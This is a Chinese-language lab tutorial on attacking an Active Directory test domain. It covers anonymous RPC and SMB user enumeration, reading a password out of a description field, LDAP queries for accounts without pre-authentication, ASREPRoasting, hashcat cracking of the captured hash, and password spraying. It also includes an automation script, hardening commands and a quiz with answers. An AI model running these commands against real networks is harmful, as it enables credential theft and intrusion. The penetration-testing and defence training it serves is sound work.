今天我們要深入學習如何列舉 Active Directory 的使用者帳號,並透過各種技術獵取憑證。這是滲透測試中極為重要的階段 - 從「知道有哪些系統」進展到「知道有哪些使用者」,最終「取得登入憑證」。
在開始之前,確保已經完成:
/etc/hosts
檔案# 安裝必要工具
sudo apt update
sudo apt install smbclient -y # RPCClient
sudo apt install ldap-utils -y # ldapsearch
sudo apt install python3-impacket -y # Impacket 工具集
# 確認 hashcat 已安裝
which hashcat || sudo apt install hashcat -y
技術 | 需要憑證 | 目標 | 取得內容 |
---|---|---|---|
匿名RPC | X | 所有使用者 | 使用者清單、描述 |
ASREPRoasting | X | 不需預認證的帳號 | 可破解的hash |
Kerberoasting | O | 服務帳號 | 服務票證 |
密碼噴灑 | X | 所有帳號 | 有效憑證 |
首先,用 CrackMapExec 進行匿名列舉:
# 嘗試匿名列舉使用者
crackmapexec smb 192.168.139.11 -u '' -p '' --users
為什麼執行:
執行什麼:
-u '' -p ''
:使用空帳號空密碼(匿名登入)--users
:列舉網域使用者結果怎麼看:
SMB 192.168.139.11 445 WINTERFELL [+] north.sevenkingdoms.local\:
SMB 192.168.139.11 445 WINTERFELL [*] Trying with SAMRPC protocol
SMB 192.168.139.11 445 WINTERFELL [+] Enumerated domain user(s)
SMB 192.168.139.11 445 WINTERFELL north.sevenkingdoms.local\samwell.tarly Samwell Tarly (Password : Heartsbane)
關鍵發現:
[+]
= 成功,[-]
= 失敗,[*]
= 資訊samwell.tarly:Heartsbane
RPCClient 提供更詳細的列舉功能:
# 建立匿名 RPC 連線
rpcclient -U "" 192.168.139.11 -N
為什麼執行:
執行什麼:
-U ""
:空使用者名稱(匿名)-N
:不要求密碼192.168.139.11
:目標 DC IP結果怎麼看:
看到 rpcclient $>
提示符號 = 匿名 RPC 可用(安全風險)
在 rpcclient 提示符號下,執行以下指令:
rpcclient $> enumdomusers
為什麼執行:
結果解讀:
user:[Administrator] rid:[0x1f4] ← 管理員帳號
user:[samwell.tarly] rid:[0x45f] ← 記下 RID
user:[sql_svc] rid:[0x461] ← 服務帳號(重要目標)
發現的使用者分類:
rpcclient $> enumdomgroups
為什麼執行:
結果解讀:
group:[Domain Users] rid:[0x201] ← 標準群組
group:[Domain Admins] rid:[0x200] ← 高權限群組
group:[Stark] rid:[0x452] ← 自訂業務群組
group:[Night Watch] rid:[0x453] ← 自訂業務群組
rpcclient $> queryuser 0x45f # samwell.tarly 的 RID
為什麼執行:
關鍵資訊:
User Name : samwell.tarly
Full Name : Samwell Tarly
Description : Samwell Tarly (Password : Heartsbane) ← 重大發現!
Last Logon : Thu, 15 Sep 2025 09:31:42 EDT ← 活躍帳號
rpcclient $> querygroupmem 0x453 # Night Watch 群組
為什麼執行:
結果解讀:
rid:[0x458] attr:[0x7] ← jon.snow 的 RID
rid:[0x45f] attr:[0x7] ← samwell.tarly 的 RID
rpcclient $> getdompwinfo
為什麼執行:
密碼政策分析:
min_password_length: 5 ← 太短!容易破解
password_properties: 0x00000000 ← 無複雜度要求!
取得 samwell.tarly:Heartsbane
後,先驗證其有效性:
# 測試 SMB 存取
crackmapexec smb 192.168.139.11 -u 'samwell.tarly' -p 'Heartsbane'
為什麼執行:
執行什麼:
結果解讀:
[+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
[+]
= 憑證有效!可以使用(Pwn3d!)
= 管理員權限透過取得的憑證,執行更深入的 LDAP 查詢:
# 查詢所有不需要預認證的使用者
ldapsearch -x -H ldap://192.168.139.11 \
-D 'NORTH\samwell.tarly' -w 'Heartsbane' \
-b 'DC=north,DC=sevenkingdoms,DC=local' \
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName
若不確定基礎 DN,可先匿名或已知帳號跑一次
ldapsearch -x -H ldap://<DC_IP> -s base namingcontexts
取得正確 DN。
為什麼執行:
執行什麼:
-x
:簡單認證-H ldap://192.168.139.11
:指定 LDAP 伺服器-D 'NORTH\samwell.tarly'
:使用取得的憑證-w 'Heartsbane'
:密碼-b
:搜尋基準 DN(網域根)結果解讀:
# brandon.stark, Domain Users, north.sevenkingdoms.local
dn: CN=brandon.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: brandon.stark
重要發現:brandon.stark 不需要 Kerberos 預認證!可執行 ASREPRoasting
讓我們理解這個複雜的 LDAP 過濾器:
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
深入說明:
&
:AND 邏輯運算(兩個條件都要符合)(objectClass=user)
:只找使用者物件1.2.840.113556.1.4.803
:位元 AND 運算的 OID4194304
:十進位的 0x400000(DONT_REQUIRE_PREAUTH 標誌)正常 Kerberos 認證流程 vs ASREPRoasting:
關鍵差異:
首先建立使用者清單:
cat > north_users.txt << EOF
Administrator
Guest
krbtgt
arya.stark
sansa.stark
brandon.stark
rickon.stark
hodor
jon.snow
samwell.tarly
jeor.mormont
sql_svc
EOF
執行攻擊:
# 尋找不需要預認證的使用者
impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass \
-usersfile north_users.txt -dc-ip 192.168.139.11
為什麼執行:
執行什麼:
north.sevenkingdoms.local/
:目標網域-no-pass
:不提供密碼(關鍵參數)-usersfile north_users.txt
:批次測試多個使用者-dc-ip 192.168.139.11
:指定 DC IP結果解讀:
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set ← 需要預認證
[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set ← 需要預認證
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:682fe... ← 成功取得 hash!
成功取得 brandon.stark 的 hash!
儲存 hash:
# 儲存 hash
cat > brandon.hash << 'EOF'
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:682fe74f762402fcf4cd9ec26236d43c$d89d8b65a420da997fdc010e4b89d0c5b1d9b7dc80284d5fe018052d5a2c2d0d11ad44cd2fb976835f1001011632305a6508bf4f0f34620ea54bac095bfd0bcde81207f527828a71c853e81e21d2c56a81763b8f64e63a060494cd2fcc1b4dd9d62d871c46cd7eefcebee9c6178cc03ca23594bf166bda2cba241460947637ed14d8f54b755b5971f8b5018d71bb626db2b4ff2dfed58641ee4bc8a37e47eba286a80eae192ac70c689ac67ee337e8e82bea58884226b2097c7f55de8f0689ebd92fe7cdd64c8355f8ce7562d18cc929bd1502e228f8cf87f13535639a073847f1a10815c077f1d7d08e5bd322d8220a64c528782eb38ea6eb12c763c1bdc0f364cab8262eb3
EOF
準備字典檔:
# 1) 確認 rockyou 字典位置
cd /usr/share/wordlists/
ls
# 應該看到 rockyou.txt.gz
# 2) 解壓字典檔(需要 sudo)
sudo gunzip rockyou.txt.gz
# 如果已解壓會顯示錯誤,沒關係
# 3) 執行破解
hashcat -m 18200 brandon.hash /usr/share/wordlists/rockyou.txt --force
為什麼執行:
執行什麼:
-m 18200
:Kerberos 5 AS-REP etype 23 破解模式brandon.hash
:要破解的 hash 檔案/usr/share/wordlists/rockyou.txt
:密碼字典--force
:忽略警告強制執行hash 以
$krb5asrep$23$
開頭 → -m 18200;以$krb5asrep$17$
或$...$18$
→ -m 19900。
結果解讀:
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:...:iseedeadpeople
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
破解成功:brandon.stark:iseedeadpeople
在進行密碼噴灑前,必須先了解鎖定政策:
crackmapexec smb 192.168.139.11 -u 'samwell.tarly' -p 'Heartsbane' --pass-pol
為什麼執行:
結果解讀:
Minimum password length: 5 ← 最小長度
Account Lockout Threshold: 5 ← 5次失敗會鎖定
Reset Account Lockout Counter: 5 minutes ← 5分鐘重置計數
Locked Account Duration: 5 minutes ← 鎖定5分鐘
Password Complexity Flags: 000000 ← 無複雜度要求
重要資訊:
使用者 | 密碼 | 取得方式 | 備註 |
---|---|---|---|
samwell.tarly | Heartsbane | 描述欄位洩漏 | 初始憑證 |
brandon.stark | iseedeadpeople | ASREPRoasting | 不需預認證 |
技術 | 需要憑證 | 風險等級 | 防禦難度 | 偵測難度 |
---|---|---|---|---|
匿名 RPC 列舉 | X | 高 | 容易 | 中等 |
描述欄位密碼 | X | 極高 | 容易 | 困難 |
ASREPRoasting | X | 高 | 中等 | 困難 |
密碼噴灑 | X | 中 | 困難 | 容易 |
Kerberoasting | O | 高 | 困難 | 中等 |
LDAP 查詢 | O | 低 | 困難 | 容易 |
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa `
-Name "RestrictAnonymous" -Value 2
Get-ADUser -Filter * -Properties Description |
Where-Object {$_.Description -match "password|pass|pwd"}
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
Set-ADUser -DoesNotRequirePreAuth $false
Set-ADDefaultDomainPasswordPolicy -Identity "north.sevenkingdoms.local" `
-MinPasswordLength 14 `
-ComplexityEnabled $true `
-LockoutThreshold 3
監控以下 Windows 事件 ID:
建立批次列舉腳本:
#!/bin/bash
# enum_users.sh - 自動化使用者列舉腳本
echo "[+] RPC 列舉..."
echo "enumdomusers" | rpcclient -U "" $1 -N > rpc_users.txt
echo "[+] CME 列舉..."
crackmapexec smb $1 -u '' -p '' --users > cme_users.txt
echo "[+] 提取使用者名稱..."
cat rpc_users.txt | grep "user:" | cut -d'[' -f2 | cut -d']' -f1 > users.txt
echo "[+] ASREPRoasting..."
impacket-GetNPUsers $2/ -no-pass -usersfile users.txt -dc-ip $1
echo "[+] 完成!結果已儲存"
# 檢查匿名存取
rpcclient -U "" <DC_IP> -N -c "enumdomusers" 2>/dev/null | grep -q "user:" && echo "允許匿名!" || echo "已禁用"
# 檢查弱密碼政策
crackmapexec smb <DC_IP> -u '' -p '' --pass-pol | grep "Minimum password length"
# 找出所有不需預認證的使用者
for user in $(cat users.txt); do
impacket-GetNPUsers domain.local/$user -no-pass -dc-ip <DC_IP> 2>/dev/null | grep -q "krb5asrep" && echo "$user 易受攻擊!"
done
# RPCClient 連線失敗
# 錯誤:NT_STATUS_ACCESS_DENIED
# 解決:試試 Guest 帳號
rpcclient -U "Guest" -N 192.168.139.11
# LDAP 查詢錯誤
# 錯誤:ldap_bind: Invalid credentials
# 確認憑證格式:
# 格式1: -D 'DOMAIN\username'
# 格式2: -D 'username@domain.local'
# hashcat 破解失敗
# 確認 hash 格式正確
file brandon.hash # 應該顯示 ASCII text
# 確認字典檔存在
ls -la /usr/share/wordlists/rockyou.txt
用途 | 指令 |
---|---|
CME 匿名列舉 | crackmapexec smb <IP> -u '' -p '' --users |
RPC 連線 | rpcclient -U "" <IP> -N |
列舉使用者 | enumdomusers |
查詢使用者 | queryuser <RID> |
LDAP 查詢 | ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' |
ASREPRoasting | impacket-GetNPUsers <domain>/ -no-pass -usersfile users.txt |
破解 Hash | hashcat -m 18200 hash.txt wordlist.txt |
密碼政策 | crackmapexec smb <IP> -u '<user>' -p '<pass>' --pass-pol |
為什麼管理員會把密碼寫在描述欄位?
提示:便利性 vs 安全性的平衡,臨時密碼忘記移除
ASREPRoasting 為什麼這麼危險?
提示:不需要任何憑證、離線破解、不會觸發警報
如果所有技術都失敗了,還有什麼方法可以取得憑證?
提示:LLMNR/NBT-NS 投毒、社交工程、實體存取
Q1. 下列何者不是執行 ASREPRoasting 的必要條件?
A. 目標帳號的「不需 Kerberos 預認證」旗標被啟用
B. 需要目標帳號的明文密碼
C. 能向 KDC 發送 AS-REQ
D. 能解析網域並連到 DC
答案: B
解析: ASREPRoasting 最大威力在於「不需要憑證」。只要帳號設定了 DONT_REQUIRE_PREAUTH
(A),攻擊者(C、D)就可拿到 AS-REP 進行離線破解;完全不需要明文密碼(B 錯)。
Q2. 用 LDAP 找「不需預認證」帳號的過濾器為:(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
其中 1.2.840.113556.1.4.803
的作用是?
A. 字串包含比對
B. 位元 OR 運算
C. 位元 AND 運算
D. 正規表達式比對
答案: C
解析: 1.2.840.113556.1.4.803
是 位元 AND 的 OID,用來測試 userAccountControl
的某一位(此處為 0x400000 = 4194304
)。
Q3. 取得的 AS-REP hash 開頭為 $krb5asrep$17$...
,Hashcat 應選哪個模式?
A. 13100
B. 18200
C. 19900
D. 13100 或 18200 皆可
答案: C
解析: $...$23$
→ -m 18200
(RC4/etype 23),$...$17$/$18$
→ -m 19900
(AES/etype 17/18)。
Q4. 密碼政策為「Lockout 5 次/視窗 5 分鐘/鎖 5 分鐘」,進行密碼噴灑時下列何者最適合?
A. 每個帳號連試 5 個常見密碼,快速找出弱密碼
B. 每個帳號試 3 個密碼,等 5 分鐘再繼續
C. 每個帳號只試 1 個密碼,但同一時間對所有主機平行開打
D. 先對少數帳號嘗試 10 次,確認政策是否生效
答案: B
解析: 以測得的政策,每帳號 ≤4 次最安全;建議的「3 次 + 等 5 分鐘」符合最佳實務。A/D 會鎖帳;C 雖單次少,但大規模平行仍可能造成 SOC 警報與風險。
Q5. 用 crackmapexec smb <DC> -u '' -p '' --users
遇到訊息「NTLM needs domain\username」。下列哪個處置最合理?
A. 放棄列舉,代表環境無法被攻擊
B. 立刻改用密碼噴灑
C. 改用 rpcclient -U "" -N <DC_IP>
嘗試 SAMR 匿名列舉
D. 直接執行 Kerberoasting
答案: C
解析: 有些環境禁止透過該路徑的匿名 NTLM,但 SAMR/RPC 仍可能允許匿名。rpcclient
是合理替代。A 太武斷、B 風險高、D 需要有效憑證與 SPN。